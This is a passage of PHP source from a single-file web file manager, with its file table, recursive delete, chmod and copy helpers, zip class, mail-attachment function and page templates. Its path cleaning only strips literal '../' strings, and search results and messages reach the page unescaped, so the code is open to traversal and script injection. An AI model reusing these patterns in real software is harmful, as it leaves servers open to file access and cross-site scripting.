$owner = array('name' => '?');
$group = array('name' => '?');
}
?>
<tr>
<?php if (!FM_READONLY): ?><td><label><input type="checkbox" name="file[]" value="<?php echo fm_enc($f) ?>"></label></td><?php endif; ?>
<td><div class="filename"><a href="<?php echo $filelink ?>" title="<?php echo fm_t('File info', $lang) ?>"><i class="<?php echo $img ?>"></i> <?php echo fm_convert_win($f) ?></a><?php echo ($is_link ? ' → <i>' . readlink($path . '/' . $f) . '</i>' : '') ?></div></td>
<td><span title="<?php printf(fm_t('%s bytes'), $filesize_raw) ?>"><?php echo $filesize ?></span></td>
<td><?php echo $modif ?></td>
<?php if (!FM_IS_WIN): ?>
<td><?php if (!FM_READONLY): ?><a title="<?php echo fm_t('Change Permissions', $lang) ?>" href="?p=<?php echo urlencode(FM_PATH) ?>&chmod=<?php echo urlencode($f) ?>"><?php echo $perms ?></a><?php else: ?><?php echo $perms ?><?php endif; ?></td>
<td><?php echo $owner['name'] . ':' . $group['name'] ?></td>
<?php endif; ?>
<td class="inline-actions">
<?php if (!FM_READONLY): ?>
<a title="<?php echo fm_t('Delete', $lang) ?>" href="?p=<?php echo urlencode(FM_PATH) ?>&del=<?php echo urlencode($f) ?>" onclick="return confirm('<?php echo fm_t('Delete file?') ?>');"><i class="fa fa-trash-o" style="background:#FF4136"></i></a>
<a title="<?php echo fm_t('Rename', $lang) ?>" href="#" onclick="rename('<?php echo fm_enc(FM_PATH) ?>', '<?php echo fm_enc($f) ?>');return false;"><i class="fa fa-pencil-square-o" style="background:#FF851B"></i></a>
<a title="<?php echo fm_t('Copy to...') ?>" href="?p=<?php echo urlencode(FM_PATH) ?>&copy=<?php echo urlencode(trim(FM_PATH . '/' . $f, '/')) ?>"><i class="fa fa-files-o"></i></a>
<?php endif; ?>
<a title="<?php echo fm_t('Direct link', $lang) ?>" href="<?php echo FM_ROOT_URL . (FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $f ?>" target="_blank"><i class="fa fa-link" style="background:#001f3f"></i></a>
<a title="<?php echo fm_t('Download', $lang) ?>" href="?p=<?php echo urlencode(FM_PATH) ?>&dl=<?php echo urlencode($f) ?>"><i class="fa fa-download" style="background:#2ECC40"></i></a>
</td></tr>
<?php
flush();
}
if (empty($folders) && empty($files)) {
?>
<tr><?php if (!FM_READONLY): ?><td></td><?php endif; ?><td colspan="<?php echo !FM_IS_WIN ? '6' : '4' ?>"><em><?php echo fm_t('Folder is empty', $lang) ?></em></td></tr>
<?php
} else {
?>
<tr><?php if (!FM_READONLY): ?><td class="gray"></td><?php endif; ?><td class="gray" colspan="<?php echo !FM_IS_WIN ? '6' : '4' ?>">
<?php echo fm_t('Full size:', $lang) ?> <span title="<?php printf(fm_t('%s bytes'), $all_files_size) ?>"><?php echo fm_get_filesize($all_files_size) ?></span>,
<?php echo fm_t('files:', $lang) ?> <?php echo $num_files ?>,
<?php echo fm_t('folders:', $lang) ?> <?php echo $num_folders ?>
</td></tr>
<?php
}
?>
</table>
<?php if (!FM_READONLY): ?>
<p class="path footer-links"><a href="#/select-all" class="group-btn" onclick="select_all();return false;"><i class="fa fa-check-square"></i> <?php echo fm_t('Select all', $lang) ?></a>
<a href="#/unselect-all" class="group-btn" onclick="unselect_all();return false;"><i class="fa fa-window-close"></i> <?php echo fm_t('Unselect all', $lang) ?></a>
<a href="#/invert-all" class="group-btn" onclick="invert_all();return false;"><i class="fa fa-th-list"></i> <?php echo fm_t('Invert selection', $lang) ?></a>
<input type="submit" class="hidden" name="delete" id="a-delete" value="<?php echo fm_t('Delete', $lang) ?>" onclick="return confirm('<?php echo fm_t('Delete selected files and folders?') ?>')">
<a href="javascript:document.getElementById('a-delete').click();" class="group-btn"><i class="fa fa-trash"></i> <?php echo fm_t('Delete', $lang) ?> </a>
<input type="submit" class="hidden" name="zip" id="a-zip" value="<?php echo fm_t('Zip', $lang) ?>" onclick="return confirm('<?php echo fm_t('Create archive?') ?>')">
<a href="javascript:document.getElementById('a-zip').click();" class="group-btn"><i class="fa fa-file-archive-o"></i> <?php echo fm_t('Zip', $lang) ?> </a>
<input type="submit" class="hidden" name="copy" id="a-copy" value="<?php echo fm_t('Copy', $lang) ?>">
<a href="javascript:document.getElementById('a-copy').click();" class="group-btn"><i class="fa fa-files-o"></i> <?php echo fm_t('Copy', $lang) ?> </a>
</p>
<?php endif; ?>
</form>
<?php
fm_show_footer();
//--- END
// Functions
/**
* Delete file or folder (recursively)
* @param string $path
* @return bool
*/
function fm_rdelete($path)
{
if (is_link($path)) {
return unlink($path);
} elseif (is_dir($path)) {
$objects = scandir($path);
$ok = true;
if (is_array($objects)) {
foreach ($objects as $file) {
if ($file != '.' && $file != '..') {
if (!fm_rdelete($path . '/' . $file)) {
$ok = false;
}
}
}
}
return ($ok) ? rmdir($path) : false;
} elseif (is_file($path)) {
return unlink($path);
}
return false;
}
/**
* Recursive chmod
* @param string $path
* @param int $filemode
* @param int $dirmode
* @return bool
* @todo Will use in mass chmod
*/
function fm_rchmod($path, $filemode, $dirmode)
{
if (is_dir($path)) {
if (!chmod($path, $dirmode)) {
return false;
}
$objects = scandir($path);
if (is_array($objects)) {
foreach ($objects as $file) {
if ($file != '.' && $file != '..') {
if (!fm_rchmod($path . '/' . $file, $filemode, $dirmode)) {
return false;
}
}
}
}
return true;
} elseif (is_link($path)) {
return true;
} elseif (is_file($path)) {
return chmod($path, $filemode);
}
return false;
}
/**
* Safely rename
* @param string $old
* @param string $new
* @return bool|null
*/
function fm_rename($old, $new)
{
return (!file_exists($new) && file_exists($old)) ? rename($old, $new) : null;
}
/**
* Copy file or folder (recursively).
* @param string $path
* @param string $dest
* @param bool $upd Update files
* @param bool $force Create folder with same names instead file
* @return bool
*/
function fm_rcopy($path, $dest, $upd = true, $force = true)
{
if (is_dir($path)) {
if (!fm_mkdir($dest, $force)) {
return false;
}
$objects = scandir($path);
$ok = true;
if (is_array($objects)) {
foreach ($objects as $file) {
if ($file != '.' && $file != '..') {
if (!fm_rcopy($path . '/' . $file, $dest . '/' . $file)) {
$ok = false;
}
}
}
}
return $ok;
} elseif (is_file($path)) {
return fm_copy($path, $dest, $upd);
}
return false;
}
/**
* Safely create folder
* @param string $dir
* @param bool $force
* @return bool
*/
function fm_mkdir($dir, $force)
{
if (file_exists($dir)) {
if (is_dir($dir)) {
return $dir;
} elseif (!$force) {
return false;
}
unlink($dir);
}
return mkdir($dir, 0777, true);
}
/**
* Safely copy file
* @param string $f1
* @param string $f2
* @param bool $upd
* @return bool
*/
function fm_copy($f1, $f2, $upd)
{
$time1 = filemtime($f1);
if (file_exists($f2)) {
$time2 = filemtime($f2);
if ($time2 >= $time1 && $upd) {
return false;
}
}
$ok = copy($f1, $f2);
if ($ok) {
touch($f2, $time1);
}
return $ok;
}
/**
* Get mime type
* @param string $file_path
* @return mixed|string
*/
function fm_get_mime_type($file_path)
{
if (function_exists('finfo_open')) {
$finfo = finfo_open(FILEINFO_MIME_TYPE);
$mime = finfo_file($finfo, $file_path);
finfo_close($finfo);
return $mime;
} elseif (function_exists('mime_content_type')) {
return mime_content_type($file_path);
} elseif (!stristr(ini_get('disable_functions'), 'shell_exec')) {
$file = escapeshellarg($file_path);
$mime = shell_exec('file -bi ' . $file);
return $mime;
} else {
return '--';
}
}
/**
* HTTP Redirect
* @param string $url
* @param int $code
*/
function fm_redirect($url, $code = 302)
{
header('Location: ' . $url, true, $code);
exit;
}
/**
* Clean path
* @param string $path
* @return string
*/
function fm_clean_path($path)
{
$path = trim($path);
$path = trim($path, '\\/');
$path = str_replace(array('../', '..\\'), '', $path);
if ($path == '..') {
$path = '';
}
return str_replace('\\', '/', $path);
}
/**
* Get parent path
* @param string $path
* @return bool|string
*/
function fm_get_parent_path($path)
{
$path = fm_clean_path($path);
if ($path != '') {
$array = explode('/', $path);
if (count($array) > 1) {
$array = array_slice($array, 0, -1);
return implode('/', $array);
}
return '';
}
return false;
}
/**
* Get nice filesize
* @param int $size
* @return string
*/
function fm_get_filesize($size)
{
if ($size < 1000) {
return sprintf('%s B', $size);
} elseif (($size / 1024) < 1000) {
return sprintf('%s KiB', round(($size / 1024), 2));
} elseif (($size / 1024 / 1024) < 1000) {
return sprintf('%s MiB', round(($size / 1024 / 1024), 2));
} elseif (($size / 1024 / 1024 / 1024) < 1000) {
return sprintf('%s GiB', round(($size / 1024 / 1024 / 1024), 2));
} else {
return sprintf('%s TiB', round(($size / 1024 / 1024 / 1024 / 1024), 2));
}
}
/**
* Get info about zip archive
* @param string $path
* @return array|bool
*/
function fm_get_zif_info($path)
{
if (function_exists('zip_open')) {
$arch = zip_open($path);
if ($arch) {
$filenames = array();
while ($zip_entry = zip_read($arch)) {
$zip_name = zip_entry_name($zip_entry);
$zip_folder = substr($zip_name, -1) == '/';
$filenames[] = array(
'name' => $zip_name,
'filesize' => zip_entry_filesize($zip_entry),
'compressed_size' => zip_entry_compressedsize($zip_entry),
'folder' => $zip_folder
//'compression_method' => zip_entry_compressionmethod($zip_entry),
);
}
zip_close($arch);
return $filenames;
}
}
return false;
}
/**
* Encode html entities
* @param string $text
* @return string
*/
function fm_enc($text)
{
return htmlspecialchars($text, ENT_QUOTES, 'UTF-8');
}
/**
* This function scans the files folder recursively, and builds a large array
* @param string $dir
* @return json
*/
function scan($dir){
$files = array();
$_dir = $dir;
$dir = FM_ROOT_PATH.'/'.$dir;
// Is there actually such a folder/file?
if(file_exists($dir)){
foreach(scandir($dir) as $f) {
if(!$f || $f[0] == '.') {
continue; // Ignore hidden files
}
if(is_dir($dir . '/' . $f)) {
// The path is a folder
$files[] = array(
"name" => $f,
"type" => "folder",
"path" => $_dir.'/'.$f,
"items" => scan($dir . '/' . $f), // Recursively get the contents of the folder
);
} else {
// It is a file
$files[] = array(
"name" => $f,
"type" => "file",
"path" => $_dir,
"size" => filesize($dir . '/' . $f) // Gets the size of this file
);
}
}
}
return $files;
}
/**
* Send email with file attached
* @param string $msg, $to, $p
*/
function send_mail($path,$filename, $mailto, $message) {
$file = $path.'/'.$filename;
$content = file_get_contents( $file);
$content = chunk_split(base64_encode($content));
$uid = md5(uniqid(time()));
$name = basename($file);
// header
$header = "From: File Manager Script <[email protected]>\r\n";
$header .= "Reply-To: ".$mailto."\r\n";
$header .= "MIME-Version: 1.0\r\n";
$header .= "Content-Type: multipart/mixed; boundary=\"".$uid."\"\r\n\r\n";
// message & attachment
$subject = "File has attahced";
$nmessage = "--".$uid."\r\n";
$nmessage .= "Content-type:text/plain; charset=iso-8859-1\r\n";
$nmessage .= "Content-Transfer-Encoding: 7bit\r\n\r\n";
$nmessage .= $message."\r\n\r\n";
$nmessage .= "--".$uid."\r\n";
$nmessage .= "Content-Type: application/octet-stream; name=\"".$filename."\"\r\n";
$nmessage .= "Content-Transfer-Encoding: base64\r\n";
$nmessage .= "Content-Disposition: attachment; filename=\"".$filename."\"\r\n\r\n";
$nmessage .= $content."\r\n\r\n";
$nmessage .= "--".$uid."--";
if (mail($mailto, $subject, $nmessage, $header)) {
return true; // Or do something here
} else {
return false;
}
}
/**
* Save message in session
* @param string $msg
* @param string $status
*/
function fm_set_msg($msg, $status = 'ok')
{
$_SESSION['message'] = $msg;
$_SESSION['status'] = $status;
}
/**
* Check if string is in UTF-8
* @param string $string
* @return int
*/
function fm_is_utf8($string)
{
return preg_match('//u', $string);
}
/**
* Convert file name to UTF-8 in Windows
* @param string $filename
* @return string
*/
function fm_convert_win($filename)
{
if (FM_IS_WIN && function_exists('iconv')) {
$filename = iconv(FM_ICONV_INPUT_ENC, 'UTF-8//IGNORE', $filename);
}
return $filename;
}
/**
* Get translated string
* @param string $str
* @param string|null $lang
* @return string
*/
function fm_t($str, $lang = null)
{
if ($lang === null) {
if (defined('FM_LANG')) {
$lang = FM_LANG;
} else {
return $str;
}
}
$strings = fm_get_strings();
if (!isset($strings[$lang]) || !is_array($strings[$lang])) {
return $str;
}
if (array_key_exists($str, $strings[$lang])) {
return $strings[$lang][$str];
}
return $str;
}
/**
* Get CSS classname for file
* @param string $path
* @return string
*/
function fm_get_file_icon_class($path)
{
// get extension
$ext = strtolower(pathinfo($path, PATHINFO_EXTENSION));
switch ($ext) {
case 'ico': case 'gif': case 'jpg': case 'jpeg': case 'jpc': case 'jp2':
case 'jpx': case 'xbm': case 'wbmp': case 'png': case 'bmp': case 'tif':
case 'tiff': case 'svg':
$img = 'fa fa-picture-o';
break;
case 'passwd': case 'ftpquota': case 'sql': case 'js': case 'json': case 'sh':
case 'config': case 'twig': case 'tpl': case 'md': case 'gitignore':
case 'c': case 'cpp': case 'cs': case 'py': case 'map': case 'lock': case 'dtd':
$img = 'fa fa-file-code-o';
break;
case 'txt': case 'ini': case 'conf': case 'log': case 'htaccess':
$img = 'fa fa-file-text-o';
break;
case 'css': case 'less': case 'sass': case 'scss':
$img = 'fa fa-css3';
break;
case 'zip': case 'rar': case 'gz': case 'tar': case '7z':
$img = 'fa fa-file-archive-o';
break;
case 'php': case 'php4': case 'php5': case 'phps': case 'phtml':
$img = 'fa fa-code';
break;
case 'htm': case 'html': case 'shtml': case 'xhtml':
$img = 'fa fa-html5';
break;
case 'xml': case 'xsl':
$img = 'fa fa-file-excel-o';
break;
case 'wav': case 'mp3': case 'mp2': case 'm4a': case 'aac': case 'ogg':
case 'oga': case 'wma': case 'mka': case 'flac': case 'ac3': case 'tds':
$img = 'fa fa-music';
break;
case 'm3u': case 'm3u8': case 'pls': case 'cue':
$img = 'fa fa-headphones';
break;
case 'avi': case 'mpg': case 'mpeg': case 'mp4': case 'm4v': case 'flv':
case 'f4v': case 'ogm': case 'ogv': case 'mov': case 'mkv': case '3gp':
case 'asf': case 'wmv':
$img = 'fa fa-file-video-o';
break;
case 'eml': case 'msg':
$img = 'fa fa-envelope-o';
break;
case 'xls': case 'xlsx':
$img = 'fa fa-file-excel-o';
break;
case 'csv':
$img = 'fa fa-file-text-o';
break;
case 'bak':
$img = 'fa fa-clipboard';
break;
case 'doc': case 'docx':
$img = 'fa fa-file-word-o';
break;
case 'ppt': case 'pptx':
$img = 'fa fa-file-powerpoint-o';
break;
case 'ttf': case 'ttc': case 'otf': case 'woff':case 'woff2': case 'eot': case 'fon':
$img = 'fa fa-font';
break;
case 'pdf':
$img = 'fa fa-file-pdf-o';
break;
case 'psd': case 'ai': case 'eps': case 'fla': case 'swf':
$img = 'fa fa-file-image-o';
break;
case 'exe': case 'msi':
$img = 'fa fa-file-o';
break;
case 'bat':
$img = 'fa fa-terminal';
break;
default:
$img = 'fa fa-info-circle';
}
return $img;
}
/**
* Get image files extensions
* @return array
*/
function fm_get_image_exts()
{
return array('ico', 'gif', 'jpg', 'jpeg', 'jpc', 'jp2', 'jpx', 'xbm', 'wbmp', 'png', 'bmp', 'tif', 'tiff', 'psd');
}
/**
* Get video files extensions
* @return array
*/
function fm_get_video_exts()
{
return array('webm', 'mp4', 'm4v', 'ogm', 'ogv', 'mov');
}
/**
* Get audio files extensions
* @return array
*/
function fm_get_audio_exts()
{
return array('wav', 'mp3', 'ogg', 'm4a');
}
/**
* Get text file extensions
* @return array
*/
function fm_get_text_exts()
{
return array(
'txt', 'css', 'ini', 'conf', 'log', 'htaccess', 'passwd', 'ftpquota', 'sql', 'js', 'json', 'sh', 'config',
'php', 'php4', 'php5', 'phps', 'phtml', 'htm', 'html', 'shtml', 'xhtml', 'xml', 'xsl', 'm3u', 'm3u8', 'pls', 'cue',
'eml', 'msg', 'csv', 'bat', 'twig', 'tpl', 'md', 'gitignore', 'less', 'sass', 'scss', 'c', 'cpp', 'cs', 'py',
'map', 'lock', 'dtd', 'svg',
);
}
/**
* Get mime types of text files
* @return array
*/
function fm_get_text_mimes()
{
return array(
'application/xml',
'application/javascript',
'application/x-javascript',
'image/svg+xml',
'message/rfc822',
);
}
/**
* Get file names of text files w/o extensions
* @return array
*/
function fm_get_text_names()
{
return array(
'license',
'readme',
'authors',
'contributors',
'changelog',
);
}
/**
* Class to work with zip files (using ZipArchive)
*/
class FM_Zipper
{
private $zip;
public function __construct()
{
$this->zip = new ZipArchive();
}
/**
* Create archive with name $filename and files $files (RELATIVE PATHS!)
* @param string $filename
* @param array|string $files
* @return bool
*/
public function create($filename, $files)
{
$res = $this->zip->open($filename, ZipArchive::CREATE);
if ($res !== true) {
return false;
}
if (is_array($files)) {
foreach ($files as $f) {
if (!$this->addFileOrDir($f)) {
$this->zip->close();
return false;
}
}
$this->zip->close();
return true;
} else {
if ($this->addFileOrDir($files)) {
$this->zip->close();
return true;
}
return false;
}
}
/**
* Extract archive $filename to folder $path (RELATIVE OR ABSOLUTE PATHS)
* @param string $filename
* @param string $path
* @return bool
*/
public function unzip($filename, $path)
{
$res = $this->zip->open($filename);
if ($res !== true) {
return false;
}
if ($this->zip->extractTo($path)) {
$this->zip->close();
return true;
}
return false;
}
/**
* Add file/folder to archive
* @param string $filename
* @return bool
*/
private function addFileOrDir($filename)
{
if (is_file($filename)) {
return $this->zip->addFile($filename);
} elseif (is_dir($filename)) {
return $this->addDir($filename);
}
return false;
}
/**
* Add folder recursively
* @param string $path
* @return bool
*/
private function addDir($path)
{
if (!$this->zip->addEmptyDir($path)) {
return false;
}
$objects = scandir($path);
if (is_array($objects)) {
foreach ($objects as $file) {
if ($file != '.' && $file != '..') {
if (is_dir($path . '/' . $file)) {
if (!$this->addDir($path . '/' . $file)) {
return false;
}
} elseif (is_file($path . '/' . $file)) {
if (!$this->zip->addFile($path . '/' . $file)) {
return false;
}
}
}
}
return true;
}
return false;
}
}
//--- templates functions
/**
* Show nav block
* @param string $path
*/
function fm_show_nav_path($path)
{
global $lang;
?>
<div class="path main-nav">
<?php
$path = fm_clean_path($path);
$root_url = "<a href='?p='><i class='fa fa-home' aria-hidden='true' title='" . FM_ROOT_PATH . "'></i></a>";
$sep = '<i class="fa fa-caret-right"></i>';
if ($path != '') {
$exploded = explode('/', $path);
$count = count($exploded);
$array = array();
$parent = '';
for ($i = 0; $i < $count; $i++) {
$parent = trim($parent . '/' . $exploded[$i], '/');
$parent_enc = urlencode($parent);
$array[] = "<a href='?p={$parent_enc}'>" . fm_convert_win($exploded[$i]) . "</a>";
}
$root_url .= $sep . implode($sep, $array);
}
echo '<div class="break-word float-left">' . $root_url . '</div>';
?>
<div class="float-right">
<?php if (!FM_READONLY): ?>
<a title="<?php echo fm_t('Search', $lang) ?>" href="javascript:showSearch('<?php echo urlencode(FM_PATH) ?>')"><i class="fa fa-search"></i></a>
<a title="<?php echo fm_t('Upload files', $lang) ?>" href="?p=<?php echo urlencode(FM_PATH) ?>&upload"><i class="fa fa-cloud-upload" aria-hidden="true"></i></a>
<a title="<?php echo fm_t('New folder', $lang) ?>" href="#createNewItem" ><i class="fa fa-plus-square"></i></a>
<?php endif; ?>
<?php if (FM_USE_AUTH): ?><a title="<?php echo fm_t('Logout', $lang) ?>" href="?logout=1"><i class="fa fa-sign-out" aria-hidden="true"></i></a><?php endif; ?>
</div>
</div>
<?php
}
/**
* Show message from session
*/
function fm_show_message()
{
if (isset($_SESSION['message'])) {
$class = isset($_SESSION['status']) ? $_SESSION['status'] : 'ok';
echo '<p class="message ' . $class . '">' . $_SESSION['message'] . '</p>';
unset($_SESSION['message']);
unset($_SESSION['status']);
}
}
/**
* Show page header
*/
function fm_show_header()
{
$sprites_ver = '20160315';
header("Content-Type: text/html; charset=utf-8");
header("Expires: Sat, 26 Jul 1997 05:00:00 GMT");
header("Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0");
header("Pragma: no-cache");
global $lang;
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>File Manager Script</title>
<meta name="Description" CONTENT="Manage files in easy way, lightweight and no headache.">
<link rel="icon" href="<?php echo FM_SELF_URL ?>?img=favicon" type="image/png">
<link rel="shortcut icon" href="<?php echo FM_SELF_URL ?>?img=favicon" type="image/png">
<link rel="stylesheet" href="//cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.css">
<?php if (isset($_GET['view']) && FM_USE_HIGHLIGHTJS): ?>
<link rel="stylesheet" href="//cdnjs.cloudflare.com/ajax/libs/highlight.js/9.2.0/styles/<?php echo FM_HIGHLIGHTJS_STYLE ?>.min.css">
<?php endif; ?>
<style>
html,body,div,span,p,pre,a,code,em,img,small,strong,ol,ul,li,form,label,table,tr,th,td{margin:0;padding:0;vertical-align:baseline;outline:none;font-size:100%;background:transparent;border:none;text-decoration:none}
html{overflow-y:scroll}body{padding:0;font:13px/16px Tahoma,Arial,sans-serif;color:#222;background:#fafafa}
input,select,textarea,button{font-size:inherit;font-family:inherit}
a{color:#296ea3;text-decoration:none}a:hover{color:#b00}img{vertical-align:middle;border:none}
a img{border:none}span{color:#777}small{font-size:11px;color:#999}p{margin-bottom:10px}
ul{margin-left:2em;margin-bottom:10px}ul{list-style-type:none;margin-left:0}ul li{padding:3px 0}
table{border-collapse:collapse;border-spacing:0;margin-bottom:10px;width:100%}
th,td{padding:4px 7px;text-align:left;vertical-align:top;border:1px solid #ddd;background:#fff;white-space:nowrap}
th,td.gray{background-color:#eee}td.gray span{color:#222}
tr:hover td{background-color:#f5f5f5}tr:hover td.gray{background-color:#eee}
.table{width:100%;max-width:100%;margin-bottom:1rem;margin-top:4rem;}
.table td,.table th{padding:.55rem;vertical-align:top;border-top:1px solid #ddd}
.table td label input[type="checkbox"],.table th label input[type="checkbox"]{margin-top:4px;}
.table thead th{vertical-align:bottom;border-bottom:2px solid #eceeef}.table tbody+tbody{border-top:2px solid #eceeef}.table .table{background-color:#fff}
code,pre{display:block;margin-bottom:10px;font:13px/16px Consolas,'Courier New',Courier,monospace;border:1px dashed #ccc;padding:5px;overflow:auto}
pre.with-hljs{padding:0} .hidden {display:none;}
pre.with-hljs code{margin:0;border:0;overflow:visible}
code.maxheight,pre.maxheight{max-height:512px}input[type="checkbox"]{margin:0;padding:0}
.fa.fa-caret-right{font-size:1.2em;margin:0 4px;vertical-align:middle;color:#ececec}.fa.fa-home{font-size:1.2em;vertical-align:bottom;}
body {margin:0 30px;margin-top: 45px;}
#wrapper{min-width:400px;margin:0 auto}
.path{padding:20px;border:1px solid #ddd;background-color:#fff;margin-bottom:10px}
.right{text-align:right}.center{text-align:center}.float-right{float:right}.float-left{float:left}
.message{padding:4px 7px;border:1px solid #ddd;background-color:#fff;margin-bottom:-3rem;margin-top:3rem;}
.message.ok{border-color:green;color:green}
.message.error{border-color:red;color:red}
.message.alert{border-color:orange;color:orange}
.btn{border:0;background:none;padding:0;margin:0;font-weight:bold;color:#296ea3;cursor:pointer}.btn:hover{color:#b00}
.preview-img{max-width:100%;background:url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAIAAACQkWg2AAAAKklEQVR42mL5//8/Azbw+PFjrOJMDCSCUQ3EABZc4S0rKzsaSvTTABBgAMyfCMsY4B9iAAAAAElFTkSuQmCC") repeat 0 0}.inline-actions>a>i{font-size:1em;margin-left:5px;background:#3785c1;color:#fff;padding:3px;border-radius:2px;}
.preview-video{position:relative;max-width:100%;height:0;padding-bottom:62.5%;margin-bottom:10px}.preview-video video{position:absolute;width:100%;height:100%;left:0;top:0;background:#000}
.compact-table{border:0;width:auto}.compact-table td,.compact-table th{width:100px;border:0;text-align:center}.compact-table tr:hover td{background-color:#fff}
.filename{max-width:420px;white-space:nowrap;overflow:hidden;text-overflow:ellipsis}
.break-word{word-wrap:break-word;margin-left:30px;}.break-word.float-left a{color:#fff}.break-word+.float-right{padding-right:30px;position:relative;}.break-word+.float-right>a{color:#fff;font-size:1.2em;margin-right:4px;}
.modal{display:none;position:fixed;z-index:1;padding-top:100px;left:0;top:0;width:100%;height:100%;overflow:auto;background-color:#000;background-color:rgba(0,0,0,.4)}
.modal-content{background-color:#fefefe;margin:auto;padding:20px;border:1px solid #888;width:80%}
.close{color:#aaa;float:right;font-size:28px;font-weight:700}.close:focus,.close:hover{color:#000;text-decoration:none;cursor:pointer}
#editor {position:absolute;top:50px;right:30px;bottom:5px;left:30px;}
.edit-file-actions {position: absolute;top:0;right:30px;background:#585858;margin-top:5px;}
.edit-file-actions>button,.edit-file-actions>a{background:#f8f8fb;padding:5px 15px;border:0;cursor:pointer;color:#296ea3}
.group-btn{background:#fff;padding:2px 6px;border:1px solid;cursor:pointer;color:#296ea3;}
.main-nav{position:fixed;top:0;left:0;padding:10px 30px;padding-left:1px;width:100%;background:#585858;color:#fff;border:0;}
.login-form {width:320px;text-align:center;margin:0 auto;}
.login-form label,.path.login-form input {padding:5px;margin:10px}.footer-links{background:transparent;border:0}
input[type=search]{height:30px;margin-top:20px;width:80%;border:1px solid #ccc;}
.modalDialog{position:fixed;font-family:Arial,Helvetica,sans-serif;top:0;right:0;bottom:0;left:0;background:rgba(0,0,0,.8);z-index:99999;opacity:0;-webkit-transition:opacity .4s ease-in;-moz-transition:opacity .4s ease-in;transition:opacity .4s ease-in;pointer-events:none}.modalDialog:target{opacity:1;pointer-events:auto}.modalDialog>.model-wrapper{width:400px;position:relative;margin:10% auto;padding:5px 20px 13px;border-radius:2px;background:#fff}.close{background:#fff;color:#000;line-height:25px;position:absolute;right:0;text-align:center;top:0;width:24px;text-decoration:none;font-weight:700;border-radius:0 5px 0 0;font-size:18px}.close:hover{background:#00d9ff}.modalDialog p{line-height:30px}
div#searchresultWrapper{max-height:320px;overflow:auto;}div#searchresultWrapper li{margin: 8px 0; list-style:none;}
li.folder:before, li.file:before{font: normal normal normal 14px/1 "FontAwesome";content:"\f016";margin-right:5px;}li.folder:before{content:"\f114";}
</style>
</head>
<body>
<div id="wrapper">
<div id="createNewItem" class="modalDialog"><div class="model-wrapper"><a href="#close" title="<?php echo fm_t('Close', $lang) ?>" class="close">X</a><h2><?php echo fm_t('Create New Item', $lang) ?></h2><p>
<label for="newfile"><?php echo fm_t('Item Type', $lang) ?> : </label><input type="radio" name="newfile" id="newfile" value="file"><?php echo fm_t('File', $lang) ?> <input type="radio" name="newfile" value="folder" checked> <?php echo fm_t('Folder', $lang) ?><br><label for="newfilename"><?php echo fm_t('Item Name', $lang) ?> : </label><input type="text" name="newfilename" id="newfilename" value=""><br><input type="submit" name="submit" class="group-btn" value="<?php echo fm_t('Create Now', $lang) ?>" onclick="newfolder('<?php echo fm_enc(FM_PATH) ?>');return false;"></p></div></div>
<div id="searchResult" class="modalDialog"><div class="model-wrapper"><a href="#close" title="<?php echo fm_t('Close', $lang) ?>" class="close">X</a>
<input type="search" name="search" value="" placeholder="<?php echo fm_t('Find a item in current folder...', $lang) ?>">
<h2><?php echo fm_t('Search Results', $lang) ?></h2>
<div id="searchresultWrapper"></div>
</div></div>
<?php
}
/**
* Show page footer
*/
function fm_show_footer()
{
?>
</div>
<script>
function newfolder(p){var n=document.getElementById("newfilename").value;var t=document.querySelector('input[name="newfile"]:checked').value;if(n!==null&&n!==''&&t){window.location.hash="#";window.location.search='p='+encodeURIComponent(p)+'&new='+encodeURIComponent(n)+'&type='+encodeURIComponent(t);}}
function rename(p,f){var n=prompt('<?php global $lang; echo fm_t('New name', $lang) ?>',f);if(n!==null&&n!==''&&n!=f){window.location.search='p='+encodeURIComponent(p)+'&ren='+encodeURIComponent(f)+'&to='+encodeURIComponent(n);}}
function change_checkboxes(l,v){for(var i=l.length-1;i>=0;i--){l[i].checked=(typeof v==='boolean')?v:!l[i].checked;}}
function get_checkboxes(){var i=document.getElementsByName('file[]'),a=[];for(var j=i.length-1;j>=0;j--){if(i[j].type='checkbox'){a.push(i[j]);}}return a;}
function select_all(){var l=get_checkboxes();change_checkboxes(l,true);}
function unselect_all(){var l=get_checkboxes();change_checkboxes(l,false);}
function invert_all(){var l=get_checkboxes();change_checkboxes(l);}
function mailto(p,f){var http=new XMLHttpRequest(); var params="path="+p+"&file="+f+"&type=mail&ajax=true"; http.open("POST", '', true);http.setRequestHeader("Content-type", "application/x-www-form-urlencoded");http.onreadystatechange=function(){if(http.readyState == 4 && http.status == 200){ alert(http.responseText);}}
http.send(params);
}
function showSearch(u){var http=new XMLHttpRequest();var params="path="+u+"&type=search&ajax=true";http.open("POST", '', true); http.setRequestHeader("Content-type", "application/x-www-form-urlencoded");http.onreadystatechange=function(){if(http.readyState == 4 && http.status == 200){ window.searchObj = http.responseText; document.getElementById('searchresultWrapper').innerHTML = "";window.location.hash="#searchResult"}}
http.send(params);}
var searchEl = document.querySelector('input[type=search]');var timeout = null;searchEl.onkeyup = function(evt) {clearTimeout(timeout);var data = JSON.parse(window.searchObj);var searchTerms = document.querySelector('input[type=search]').value;timeout = setTimeout(function () {if(searchTerms.length>=2) {var res = getSearchResult(data,searchTerms);var f1='',f2='';res.folders.forEach(function (d){f1+='<li class="'+d.type+'"><a href="?p='+ d.path+'">'+d.name+'</a></li>'; });res.files.forEach(function (d){f2+='<li class="'+d.type+'"><a href="?p='+ d.path +'&view='+ d.name +'">'+d.name+'</a></li>';});document.getElementById('searchresultWrapper').innerHTML = '<div class="model-wrapper">'+f1+f2+'</div>';}},500);};
function getSearchResult(data,searchTerms) {var folders=[],files=[];data.forEach(function(d){if(d.type === 'folder') { getSearchResult(d.items,searchTerms);if(d.name.toLowerCase().match(searchTerms)) {folders.push(d);}} else if(d.type === 'file') {if(d.name.toLowerCase().match(searchTerms)) {files.push(d);} }}); return {folders: folders, files: files};}
function checkbox_toggle(){var l=get_checkboxes();l.push(this);change_checkboxes(l);}
function backup(p,f){ var http=new XMLHttpRequest();var params="path="+p+"&file="+f+"&type=backup&ajax=true";http.open("POST", '', true);http.setRequestHeader("Content-type", "application/x-www-form-urlencoded");http.onreadystatechange=function(){if(http.readyState == 4 && http.status == 200){alert(http.responseText);}}
http.send(params); return false; }
